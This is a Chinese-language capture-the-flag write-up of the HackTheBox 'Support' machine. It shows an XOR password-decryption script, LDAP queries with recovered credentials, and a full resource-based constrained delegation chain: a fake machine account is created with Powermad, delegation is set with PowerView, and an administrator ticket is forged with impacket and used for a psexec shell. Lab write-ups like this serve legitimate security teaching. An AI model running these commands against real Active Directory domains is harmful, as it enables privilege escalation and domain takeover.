HackTheBox | Support

nmap扫描,目标主机明显为域控,主机名为DC,域名为support.htb

image-20230310091146712

访问smb服务,看到一些路径

image-20230310135112883

访问support-tools

image-20230310135143149

下载UserInfo.exe.zip并解压,看到一些exe和dll文件,还有一个config文件

image-20230310135700311

image-20230310135726539

使用IDA打开UserInfo.exe,看到存在getPassword函数,其中有个UserInfo.Services.Protected::enc_passwordUserInfo.Services.Protected::key

image-20230310142932501

检查enc_password的交叉引用

image-20230310143141713

image-20230310143156561

得到加密后的密码,变量名为a0nv32ptwgyjzg9,值为0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E。另外看到一个armando,可能是用户名。以及LDAP://support.htb

image-20230310143326560

大概看了一下对应函数的代码逻辑,应该是使用Bytes类型的armando对ASCII码类型的字符串进行了加密

image-20230310151214316

image-20230310153858678

借助GPT分析代码,大概就是使用key中的字符对字符串进行异或加密,中间增加了对0XDF的异或

将局部变量1、2、0依次压入堆栈
将堆栈上的第二个元素(局部变量0)作为数组,将第一个元素(局部变量2)作为索引,取出数组中的元素并压入堆栈
将UserInfo.Services.Protected类的静态字段key(一个字节数组)压入堆栈
将局部变量2压入堆栈
将UserInfo.Services.Protected类的静态字段key(一个字节数组)压入堆栈
取出数组的长度并转换为int32类型,压入堆栈
计算堆栈上的两个元素(局部变量2和key数组的长度)的余数,并压入堆栈
将堆栈上的第二个元素(key数组)作为数组,将第一个元素(余数)作为索引,取出数组中的元素并压入堆栈
计算堆栈上的两个元素(数组中的两个字节)的异或,并压入堆栈
将常数0xDF压入堆栈
计算堆栈上的两个元素(异或结果和常数0xDF)的异或,并转换为uint8类型,压入堆栈
将堆栈上的第三个元素(局部变量0)作为数组,将第二个元素(局部变量2)作为索引,将第一个元素(uint8值)存储到数组中对应位置
将局部变量2压入堆栈
将常数1压入堆栈
计算堆栈上的两个元素(局部变量2和常数1)相加,并存储到局部变量2

解密得到初始字符串nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz

import base64

c = base64.b64decode("0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E")
k = b"armando"

result = ""
for i in range(len(c)):
    result += chr(c[i] ^ k[i%len(k)] ^ 223)

print(result)

从代码中看到对应的用户应该是support\ldap

image-20230310160202214

使用ldapsearch进行查询

ldapsearch -x -H ldap://10.10.11.174 -D 'support\ldap' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b 'DC=support,DC=htb'

在结果中发现疑似support用户的密码Ironside47pleasure40Watchful

image-20230310161637197

使用evil-winrm登录,拿到用户flag

image-20230310161752567

使用bloodhound信息收集,看到support用户具备Shared Support Account组的权限,查看帮助信息,看到利用基于资源的约束委派攻击进行提权

image-20230310165326814 image-20230310170525878

RBCD的利用条件有2个,首先是具备修改主机msDS-AllowedToActOnBehalfOfOtherIdentity的权限,其次是拥有一个机器账户的权限。在本次实验环境中,Shared Support Account 组具备对域主机DC的generic all的权限,而用户support隶属于该组,所以可以修改主机权限;而一个域用户最多可以创建10个机器账户,所以可以手动创建机器账户。

使用工具PowerView.ps1:https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

检查与用户创建机器用户的数量,符合默认10个

Get-DomainObject -Identity 'DC=SUPPORT,DC=HTB' | select ms-ds-machineaccountquota

image-20230310185052163

检查主机的msDS-AllowedToActOnBehalfOfOtherIdentity权限,可以看到值为空

Get-DomainComputer DC | select name,msds-allowedtoactonbehalfofotheridentity | fl

image-20230310185127636

使用工具Powermad.ps1:https://raw.githubusercontent.com/Kevin-Robertson/Powermad/master/Powermad.ps1

创建机器账户

New-MachineAccount -MachineAccount FAKE -Password $(ConvertTo-SecureString 'Password123' -AsPlainText -Force)

image-20230310185445943

检查创建的机器账户

Get-ADComputer -identity FAKE

image-20230310185525514

使用Powerview中的功能为机器账户设置约束委派的权限,目的是设置DC主机msds-allowedtoactonbehalfofotheridentity的值

Set-ADComputer -Identity DC -PrincipalsAllowedToDelegateToAccount FAKE$

检查是否设置成功

Get-DomainComputer DC | select msds-allowedtoactonbehalfofotheridentity

image-20230310191551828

获取创建的机器账户的HASH

./Rubeus.exe hash /password:Password123 /user:FAKE$ /domain:support.htb

image-20230310192302393

创建票据

python3 getST.py -dc-ip 10.10.11.174 support/fake\$:Password123 -spn cifs/dc.support.htb -impersonate administrator

image-20230310192836929

利用票据连接主机

export KRB5CCNAME=administrator.ccache; python3 psexec.py dc.support.htb -target-ip 10.10.11.174 -k -no-pass

image-20230310192823028

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值